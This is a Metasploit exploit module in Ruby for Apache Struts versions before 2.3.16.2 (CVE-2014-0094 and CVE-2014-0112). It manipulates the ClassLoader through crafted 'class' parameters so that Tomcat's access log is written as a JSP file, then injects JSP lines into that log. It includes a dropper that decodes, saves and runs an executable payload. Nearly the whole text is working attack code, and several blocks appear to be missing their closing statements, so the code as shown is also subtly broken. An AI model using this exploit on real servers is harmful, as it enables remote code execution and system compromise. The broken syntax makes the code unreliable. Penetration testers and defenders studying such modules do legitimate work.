Apache Struts ClassLoader Manipulation Remote Code Execution

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ManualRanking # It's going to manipulate the Class Loader

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',

'Description' => %q{

This module exploits a remote command execution vulnerability in Apache Struts

versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows

access to 'class' parameter which is directly mapped to getClass() method and

allows ClassLoader manipulation, which allows remote attackers to execute arbitrary

Java code via crafted parameters.

},

'Author' =>

[

'Mark Thomas', # Vulnerability Discovery

'Przemyslaw Celej', # Vulnerability Discovery

'pwntester <alvaro[at]pwntester.com>', # PoC

'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module

],

'License' => MSF_LICENSE,

'References' =>

[

['CVE', '2014-0094'],

['CVE', '2014-0112'],

['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],

['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']

],

'Platform' => %w{ linux win },

'Payload' =>

{

'Space' => 5000,

'DisableNops' => true

},

'Targets' =>

[

['Java',

{

'Arch' => ARCH_JAVA,

'Platform' => %w{ linux win }

},

],

['Linux',

{

'Arch' => ARCH_X86,

'Platform' => 'linux'

}

],

['Windows',

{

'Arch' => ARCH_X86,

'Platform' => 'win'

}

]

],

'DisclosureDate' => 'Mar 06 2014',

'DefaultTarget' => 1))

register_options(

[

Opt::RPORT(8080),

OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])

], self.class)

end

def jsp_dropper(file, exe)

dropper = <<-eos

<%@ page import=\"java.io.FileOutputStream\" %>

<%@ page import=\"sun.misc.BASE64Decoder\" %>

<%@ page import=\"java.io.File\" %>

<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>

<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>

<% oFile.flush(); %>

<% oFile.close(); %>

<% File f = new File(\"#{file}\"); %>

<% f.setExecutable(true); %>

<% Runtime.getRuntime().exec(\"./#{file}\"); %>

eos

dropper

end

def dump_line(uri, cmd = "")

res = send_request_cgi({

'uri' => uri+cmd,

'version' => '1.1',

'method' => 'GET',

})

res

end

def modify_class_loader(opts)

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path.to_s),

'version' => '1.1',

'method' => 'GET',

'vars_get' => {

"class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory],

"class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix],

"class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix],

"class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]

}

})

res

end

def check_log_file(hint)

uri = normalize_uri("/", @jsp_file)

print_status("#{peer} - Waiting for the server to flush the logfile")

10.times do |x|

select(nil, nil, nil, 2)

# Now make a request to trigger payload

vprint_status("#{peer} - Countdown #{10-x}...")

res = dump_line(uri)

# Failure. The request timed out or the server went away.

fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

# Success if the server has flushed all the sent commands to the jsp file

if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/

print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}")

return true

end

false

end

# Fix the JSP payload to make it valid once is dropped

# to the log file

def fix(jsp)

output = ""

jsp.each_line do |l|

if l =~ /<%.*%>/

output << l

elsif l =~ /<%/

next

elsif l.chomp.empty?

next

else

output << "<% #{l.chomp} %>"

end

output

end

def create_jsp

if target['Arch'] == ARCH_JAVA

jsp = fix(payload.encoded)

else

payload_exe = generate_payload_exe

payload_file = rand_text_alphanumeric(4 + rand(4))

jsp = jsp_dropper(payload_file, payload_exe)

register_files_for_cleanup(payload_file)

end

jsp

end

def exploit

prefix_jsp = rand_text_alphanumeric(3+rand(3))

date_format = rand_text_numeric(1+rand(4))

@jsp_file = prefix_jsp + date_format + ".jsp"

# Modify the Class Loader

print_status("#{peer} - Modifying Class Loader...")

properties = {

:directory => 'webapps/ROOT',

:prefix => prefix_jsp,

:suffix => '.jsp',

:file_date_format => date_format

}

res = modify_class_loader(properties)

unless res

fail_with(Failure::TimeoutExpired, "#{peer} - No answer")

end

# Check if the log file exists and hass been flushed

if check_log_file(normalize_uri(target_uri.to_s))

register_files_for_cleanup(@jsp_file)

else

fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")

end

# Prepare the JSP

print_status("#{peer} - Generating JSP...")

jsp = create_jsp

# Dump the JSP to the log file

print_status("#{peer} - Dumping JSP into the logfile...")

random_request = rand_text_alphanumeric(3 + rand(3))

jsp.each_line do |l|

unless dump_line(random_request, l.chomp)

fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")

end

# Check log file... enjoy shell!

check_log_file(random_request)

# No matter what happened, try to 'restore' the Class Loader

properties = {

:directory => '',

:prefix => '',

:suffix => '',

:file_date_format => ''

}

modify_class_loader(properties)

end